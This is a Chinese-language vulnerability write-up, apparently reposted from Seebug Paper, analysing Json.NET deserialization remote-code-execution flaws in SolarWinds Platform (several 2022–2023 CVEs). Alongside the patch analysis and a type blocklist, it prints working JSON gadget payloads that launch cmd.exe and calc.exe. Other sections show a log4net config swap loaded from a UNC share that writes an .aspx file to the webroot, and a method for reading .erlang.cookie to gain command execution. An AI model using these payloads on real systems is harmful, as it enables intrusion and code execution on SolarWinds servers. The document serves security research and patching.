2

SolarWinds BytetoMessage 反序列化 RCE 分析

 6 months ago
source link: https://paper.seebug.org/3064/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

作者:g7shot@青藤实验室
原文链接:https://mp.weixin.qq.com/s/VZRTARvg77BgAd0HgDCmyA

环境搭建和介绍

这系列漏洞都是基于Json.net的反序列化:

  • 三方组件自定义不安全的反序列化RCE(CVE-2022-38108)
  • JsonConverter自定义不安全反序列化RCE(CVE-2022-36957)
  • 挖掘适用于Json的TextFormattingRunProperties利用链RCE(CVE-2022-38111)
  • 利用Json特性挖掘适用于solarwinds的利用链RCE(CVE-2022-47503、CVE-2022-47507、CVE-2023-23836、CVE-2022-36957)

最后通过这些漏洞拓展了挖掘Json.net反序列化的思路。

配置rabbitmq用户,默认用户orion

 rabbitmqctl.bat add_user admin admin
 rabbitmqctl.bat set_permissions admin .* .* .*
 rabbitmqctl.bat set_user_tags admin administrator

CVE-2022-38108

对比diff很明显的反序列化,修复是通过黑名单方式修复

1698717274000-496965909249485.png-w331s

通过 RabbitMQ 发送到 Solarwinds(SWIS) 的消息内容包含 Json.NET 序列化对象,solarwinds反序列化Json数据时TypeNameHandling设置为Auto,并且未配置类型校验导致RCE,借用chudyPB的一张图

1698717275000-397121610237352.png-w331s

对EasyNetQ来说,反序列化器可以自定义或者使用自带的比如NewtonsoftJsonSerializer,反序列化器会在初始化连接的时候进行注册,如

IBus bus = null;
string connString = "host=192.168.45.142:5672;virtualHost=/;username=admin;password=admin";
// serviceRegister 需要自定义反序列化器需要实现ISerializer接口
bus = RabbitHutch.CreateBus(connString, serviceRegister =>
{
    serviceRegister.Register<ISerializer>(resolver =>
        new CustomSerializer());
});

全局搜索找到Solarwinds注册的反序列化器为EasyNetQSerializer

//SolarWinds.MessageBus.RabbitMQ.EasyNetQueueConnection
this._bus = RabbitHutch.CreateBus(connectionConfiguration, delegate(IServiceRegister x)
{
    x.Register<ISerializer, EasyNetQSerializer>(Lifetime.Singleton);
});

在EasyNetQ.RabbitAdvancedBus.Consume()打个断点,向RabbitMQ(routing_key='SwisPubSub')发送消息时,会将二进制数据交给EasyNetQ处理进行反序列化的操作。

1698717275000-361451911250187.png-w331s

并且可以看到此时反序列化器为EasyNetQSerializer。 DeserializeMessage方法有两个参数properties和body,properties中包含了反序列化格式和类型,body的内容包括了我们发送的json数据如下:

1698717275000-198552310257518.png-w331s

跟进DeserializeMessage方法,实现如下

public IMessage DeserializeMessage(MessageProperties properties, byte[] body)
{
  //拿到消息属性中的type
    Type messageType = this.typeNameSerializer.DeSerialize(properties.Type);
    //反序列化body
    object body2 = this.serializer.BytesToMessage(messageType, body);
    return MessageFactory.CreateInstance(messageType, body2, properties);
} 

这里会提取properties中的Type,当作反序列化后的类型,可控。 继续跟进,很明显的反序列化

1698717275000-532252811246742.png-w331s

放个三月份的截图

1698717275000-319370912260376.png-w331s

注册ContracResolver使用黑名单列表拦截。

"System.Diagnostics.Process",
"System.Diagnostics.ProcessStartInfo",
"System.Data.Services.Internal.ExpandedWrapper",
"System.Workflow.ComponentModel.AppSettings",
"Microsoft.PowerShell.Editor",
"System.Windows.Forms.AxHost.State",
"System.Security.Claims.ClaimsIdentity",
"System.Security.Claims.ClaimsPrincipal",
"System.Runtime.Remoting.ObjRef",
"System.Drawing.Design.ToolboxItemContainer",
"System.DelegateSerializationHolder",
"System.DelegateSerializationHolder+DelegateEntry",
"System.Activities.Presentation.WorkflowDesigner",
"System.Windows.ResourceDictionary",
"System.Windows.Data.ObjectDataProvider",
"System.Windows.Forms.BindingSource",
"Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSettingsProvider",
"System.Management.Automation.PSObject",
"System.Configuration.Install.AssemblyInstaller",
"System.Security.Principal.WindowsIdentity",
"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector",
"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef",
"System.Web.Security.RolePrincipal",
"System.IdentityModel.Tokens.SessionSecurityToken",
"System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem",
"Microsoft.IdentityModel.Claims.WindowsClaimsIdentity",
"System.Security.Principal.WindowsPrincipal"

CVE-2022-38111

影响版本 SolarWinds Platform 2022.4.1,至此以后的版本都添加了白名单。

最近chudyPB更新了ysoserial,包括适用于Json.net的新链。

JSON.NET 特性

1.构造函数选择机制

  • 查找[JsonConstructorAttribute]特性的constrcutor
  • 查找不接受参数的公共构造函数
  • 查找是否具有带参数的单个构造函数
  • 最后检查对于非公共默认构造函数(ConstructorHandling = ConstructorHandling.AllowNonPublicDefaultConstructor)

2.序列化机制

  • Json.NET可以调用类的无参公共构造函数并调用其公共setter
  • 可序列化的构造函数(带有 SerializationInfo 和StreamingContext 参数)和SerializationCallbacks

BinaryFormatter_TextFormattingRunProperties链子原理见BinaryFormatter.md

调用链:TextFormattingRunProperties构造函数->GetObjectFromSerializationInfo()-->XamlReader.Parse(@string),BinaryFormatter的exp是通过重写构造函数将ForegroundBrush的值插入SerializationInfo中,最后触发RCE。

Newtonsoft???

跟踪其反序列化的过程,在JsonSerializerInternalReader#CreateISerializable中也会将值插入到SerializationInfo中,最后触发RCE,代码如下:

1698717276000-519310916257980.png-w331s

适用于Json.net的TextFormattingRunProperties链

{"$type":"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","ForegroundBrush":"<ResourceDictionary
xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"
xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"
xmlns:System=\"clr-namespace:System;assembly=mscorlib\"
xmlns:Diag=\"clr-namespace:System.Diagnostics;assembly=system\">
    <ObjectDataProvider x:Key=\"LaunchCalch\" ObjectType=\"{x:Type Diag:Process}\" MethodName=\"Start\">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd.exe</System:String>
            <System:String>/c calc.exe</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>"}

从而绕过黑名单。

CVE-2022-36957

和CVE-2022-38108入口点一样,对比diff在PropertyBagJsonConverter新增新增黑名单

1698717276000-592973811242496.png-w331s

看看具体是如何实现的

//SolarWinds.MessageBus.Models.PropertyBagJsonConverter
//自定义反序列化过程ReadJson
public override object ReadJson(JsonReader reader, Type objectType, object existingValue, JsonSerializer serializer)
{
    if (reader.TokenType == JsonToken.Null)
    {
        return null;
    }
    if (reader.TokenType == JsonToken.StartObject)
    {
        PropertyBag propertyBag = new PropertyBag();
        foreach (JProperty jproperty in JObject.Load(reader).Properties())
        {
            object value;
            if (jproperty.Value.Type == JTokenType.Null)
            {
                value = null;
            }
            else
            {
                JObject jobject = (JObject)jproperty.Value;
                Type type = Type.GetType((string)jobject["t"]);
                value = jobject["v"].ToObject(type, serializer);
            }
            propertyBag[jproperty.Name] = value;
        }
        return propertyBag;
    }
    throw new InvalidOperationException(string.Format("Unexpected json token type {0}", reader.TokenType));
}

t和v均可控,现在就要考虑如何调用到这。该类继承了JsonConverter实现了自定义的反序列化器,具体用法参考CustomJsonConverter.htm

存在以下两种情况:

1. JsonSerializerSettings中注册了PropertyBagJsonConverter(没找到)

2. 找到使用了PropertyBagJsonConverter特性的类反序列化的点即类标记[JsonConverter(typeof(PropertyBagJsonConverter))]

第二种情况找到了SolarWinds.MessageBus.Models.PropertyBag类,只需要向rabbitmq发送type为SolarWinds.MessageBus.Models.PropertyBag, SolarWinds.MessageBus的json数据,最终就能调用到SolarWinds.MessageBus.Models.PropertyBagJsonConverter#Readjson触发发序列化,payload。

    "payload": {
        "t": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
        "v": {
            "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
            "MethodName": "Start",
            "MethodParameters": {
                "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                "$values": ["cmd", "/c whoami > c:\\PropertyBag.txt"]
            },
            "ObjectInstance": {
                "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
            }
        }
    }
}

CVE-2022-47503

影响版本 SolarWinds Platform 2022.4.1

漏洞作者找了一条适用于solarwinds的利用链WorkerControllerWCFProxy_RCE

主要代码如下:

    //SolarWinds.JobEngine.Engine.WorkerControllerWCFProxy, SolarWinds.JobEngine
    internal class WorkerControllerWCFProxy : IWorkerControllerProxy, IWorkerControllerService, IDisposable
    {
        public event EventHandler WorkerControllerTerminated;
        //静态无参构造函数
        static WorkerControllerWCFProxy()
        {
            ServicePointManager.ServerCertificateValidationCallback = (RemoteCertificateValidationCallback)Delegate.Combine(ServicePointManager.ServerCertificateValidationCallback, new RemoteCertificateValidationCallback((object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors) => true));
        }
        //公开的、唯一的有参构造函数,Json.net会调用
        public WorkerControllerWCFProxy(WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode, string workerProcessLabel)
        {
            this.workerConfiguration = workerConfiguration;
            this.operationMode = operationMode;
            this.workerProcessLabel = workerProcessLabel;
            this.uri = this.LaunchWorkerProcess();
            this.Connect();
        }
        ........
        // 返回ProcessStartInfo,进程路径和参数来自this.workerConfiguration,可控
        private ProcessStartInfo CreateCustomWorkerProcessStartInfo()
        {
            int availablePort = NetworkHelper.GetAvailablePort(JobEngineSettings.GetSection().MinCustomWorkerPortNumber, JobEngineSettings.GetSection().MaxCustomWorkerPortNumber);
            if (availablePort <= 0)
            {
                throw new Exception("Unable to get free port for worker process");
            }
            this.Port = (ushort)availablePort;
            string text = string.Format("{0} -port {1} -id {2} -ppid {3}", new object[]
            {
                this.workerConfiguration.CommandArguments,
                this.Port,
                this.id,
                Process.GetCurrentProcess().Id
            });
            string text2 = Path.Combine(this.pluginDirectory.Value, this.workerConfiguration.CommandLine);
            if (WorkerControllerWCFProxy.log.IsDebugEnabled)
            {
                WorkerControllerWCFProxy.log.DebugFormat("Custom worker commandline: {0} {1}", text2, text);
            }
            return new ProcessStartInfo(text2)
            {
                Arguments = text,
                WorkingDirectory = this.pluginDirectory.Value
            };
        }

        ........
        // 构造函数中调用,当WorkerType等于Custom会调用CreateCustomWorkerProcessStartInfo,workerType来自workerConfiguration
        private Uri LaunchWorkerProcess()
        {
            WorkerType workerType = this.workerConfiguration.WorkerType;
            ProcessStartInfo processStartInfo;
            if (workerType != WorkerType.Native)
            {
                if (workerType != WorkerType.Custom)
                {
                    throw new ArgumentOutOfRangeException();
                }
                WorkerControllerWCFProxy.log.Debug("Launching Custom Worker Process");
                processStartInfo = this.CreateCustomWorkerProcessStartInfo();
            }
            else
            {
                WorkerControllerWCFProxy.log.Debug("Launching Native Worker Process");
                processStartInfo = this.CreateNativeWorkerProcessStartInfo();
            }
            processStartInfo.UseShellExecute = false;
            Uri result = null;
            using (EventWaitHandle eventWaitHandle = new EventWaitHandle(false, EventResetMode.ManualReset, WorkerSynchronizationHelper.GetWorkerProcessWaitHandleName(this.id.ToString())))
            {
                this.process = Process.Start(processStartInfo);
                this.ProcessId = this.process.Id;
                while (!eventWaitHandle.WaitOne(10, false))
                {
                    if (this.process.WaitForExit(0))
                    {
                        throw new Exception("Failure starting worker process");
                    }
                }
            }
            if (this.workerConfiguration.WorkerType == WorkerType.Native)
            {
                result = WorkerAddressDirectory.GetWorkerAddress(this.id);
            }
            if (WorkerControllerWCFProxy.log.IsInfoEnabled)
            {
                WorkerControllerWCFProxy.log.InfoFormat("Started new worker process with pid {0}", this.ProcessId);
            }
            return result;
        }

该类有一个LaunchWorkerProcess方法能够启动一个新的进程,所有参数来自workerConfiguration类中WorkerType、CommandLine、CommandArguments

上面说了Json.net的反序列化特性,当反序列化该类时会调用唯一有参构造函数,并且能够向构造函数传入参数。

    public WorkerControllerWCFProxy(WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode, string workerProcessLabel)
    {
        this.workerConfiguration = workerConfiguration;
        this.operationMode = operationMode;
        this.workerProcessLabel = workerProcessLabel;
        this.uri = this.LaunchWorkerProcess();
        this.Connect();
    }

所以重点关注WorkerConfiguration类中的几个参数是否可控

1698717276000-176125316255482.png-w331s

显而易见public and setter,poc

{
    "$type": "SolarWinds.JobEngine.Engine.WorkerControllerWCFProxy, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
    "workerConfiguration": {
    "$type": "SolarWinds.JobEngine.WorkerConfiguration, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
    "WorkerType": 1,
    "CommandLine":
   "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\cmd.exe",
    "CommandArguments": "/c whoami > C:\\poc.txt & "
    },
    "operationMode": 0,
    "workerProcessLabel": "whatever"
   }

CVE-2022-47507

关键类是WorkerProcessWCFProxy,实现如下

    //SolarWinds.JobEngine.Engine.WorkerProcessWCFProxy
    internal class WorkerProcessWCFProxy : WorkerProcessProxyBase, IWorkerProcessProxyWithShadowCacheCleanup, IWorkerProcessProxy, IJobExecutionEngine, IDisposable
    {
        public WorkerProcessWCFProxy(int maxConcurrentJobs, string assemblyName, WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode)
        {
            this.maxConcurrentJobs = maxConcurrentJobs;
            this.assemblyName = assemblyName;
            this.operationMode = operationMode;
            this.workerConfiguration = workerConfiguration;
            try
            {
                this.CreateWorkerController();
                this.LaunchWorker();
                this.Connect();
            }
            catch (Exception)
            {
                this.Terminate();
                throw;
            }
        }
        ......
        // 这里直接调用上面的WorkerControllerWCFProxy类,可RCE
        private void CreateWorkerController()
        {
            this.workerController = new WorkerControllerWCFProxy(this.workerConfiguration, this.operationMode, this.assemblyName);
        }

CreateWorkerController方法调用了WorkerControllerWCFProxy,补全构造函数就行。

{
 "$type": "SolarWinds.JobEngine.Engine.WorkerProcessWCFProxy, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
 "maxConcurrentJobs": 5,
 "workerConfiguration": {
 "$type": "SolarWinds.JobEngine.WorkerConfiguration, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
 "WorkerType": 1,
 "CommandLine": "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\cmd.exe",
 "CommandArguments": "/c calc.exe & "
 },
 "operationMode": 0,
 "assemblyName": "whatever"
}

CVE-2023-23836(文件写->RCE)

利用类是CredentialInitializer

[Serializable]
    public class CredentialInitializer
    {
    //公共唯一构造函数
        public CredentialInitializer(string logConfigFile)
        {
            try
            {
                this.ConfigureLog(logConfigFile);
                this.InstallCertificate();
                this.ConvertCredentials();
                this.ConvertOldSnmpv3Credentials();
            }
            catch (Exception exception)
            {
                CredentialInitializer.log.Error("Error occurred when trying to initialize shared credentials", exception);
                throw;
            }
        }
        //加载配置
        private void ConfigureLog(string configFile)
        {
            if (string.IsNullOrEmpty(configFile))
            {
                Log.Configure(string.Empty);
            }
            else
            {
                Log.Configure(configFile);
            }
            CredentialInitializer.log.DebugFormat("Used log configuration file: {0}", configFile);
        }

// SolarWinds.Logging.Log
.......
// 提取log4net标签并加载配置
public static void Configure(string configFile = null)
{
    foreach (string text in Log.EnumFile(configFile))
    {
        if (!string.IsNullOrEmpty(text))
        {
            FileInfo fileInfo = new FileInfo(text);
            if (fileInfo.Exists)
            {
                HashSet<string> configurations = Log._configurations;
                lock (configurations)
                {
                    if (Log._configurations.Contains(fileInfo.FullName))
                    {
                        continue;
                    }
                }
                try
                {
                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.Load(fileInfo.FullName);
                    XmlNodeList elementsByTagName = xmlDocument.GetElementsByTagName("log4net");
                    if (elementsByTagName != null && elementsByTagName.Count > 0)
                    {
                        configurations = Log._configurations;
                        lock (configurations)
                        {
                            if (!Log._configurations.Contains(fileInfo.FullName))
                            {
                                XmlConfigurator.ConfigureAndWatch(fileInfo);
                                Log._configurations.Add(fileInfo.FullName);
                            }
                        }
                    }
                }
                catch
                {
                }
            }
        }
    }
}

利用log4net日志功能写入文件,原配置文件在C:\Program Files\SolarWinds\Orion\SolarWinds.Cortex.log4net.config,这里是log4net的示例

这里利用需要修改两处配置:

// 修改RollingLogFileAppender
  <appender name="RollingLogFileAppender" type="log4net.Appender.RollingFileAppender">
    <file value="C:\inetpub\wwwroot\poc.aspx" type="log4net.Util.PatternString" />
    <encoding value="utf-8" />
    <appendToFile value="false" />
    <rollingStyle value="Size" />
    <maxSizeRollBackups value="5" />
    <maximumFileSize value="10MB" />
    <layout type="log4net.Layout.PatternLayout">
      <header type="log4net.Util.PatternString" value="hackhack" />
      <conversionPattern value="" />
    </layout>
  </appender>
// 新增logger
 <logger name="SolarWinds.IPAM.Storage.Credentials.CredentialInitializer">
 <level value="DEBUG"></level>
 </logger>
//写文件
{
"$type":"SolarWinds.IPAM.Storage.Credentials.CredentialInitializer, SolarWinds.IPAM.Storage, Version=2022.4.0.0, Culture=neutral,PublicKeyToken=null",
"logConfigFile":"\\\\192.168.1.10\\x.config"
}

//恢复配置
{
"$type":"SolarWinds.IPAM.Storage.Credentials.CredentialInitializer, SolarWinds.IPAM.Storage, Version=2022.4.0.0, Culture=neutral,PublicKeyToken=null",
"logConfigFile":"C:\\Program Files\\SolarWinds\\Orion\\SolarWinds.Cortex.log4net.config"
}

发送payload最终生成文件。

1698717276000-224301614236728.png-w331s

CVE-2022-36957(文件读->RCE)

利用类在SqlFileScript

namespace SolarWinds.Database.Setup.Internals
{
    [ComVisible(false)]
    internal class SqlFileScript : SqlScript
    {
        public SqlFileScript(FileInfo scriptFile) : base(scriptFile.FullName, null)
        {
            this.scriptFile = scriptFile;
        }
    //getter
        public override string Contents
        {
            get
            {
                string result;
                if ((result = this.contents) == null)
                {
                    result = (this.contents = File.ReadAllText(this.scriptFile.FullName));
                }
                return result;
            }
        }
        private volatile string contents;
        private readonly FileInfo scriptFile;
    }
}

与前面几个CVE不同的是,触发漏洞是在序列化触发的。如上代码文件读的过程是在序列化过程调用getter触发的,攻击流程是发送恶意数据触发反序列化SqlFileScript类,服务端序列化消息发送给RabbitMq,攻击者通过读取队列消息拿到文件内容,利用读取到的.erlang.cookie的值通过erl执行命令。

参考CVE-2022-36957,最终漏洞利用是通过不安全的序列化(call getter)导致的,实际场景中少有类似利用链:unsafe deserialization(setter) --> Object --> unsafe serialization(getter)--> RCE,更多的是直接反序列化RCE,相当于Sink只有反序列化链或恶意setter,@chudyPB的新思路拓展了新的攻击面,寻找某些setter中调用任意getter:unsafe deserialization(setter)--> 任意getter -->RCE,由此诞生了很多新链子,具体见ysoserial.net


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3064/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK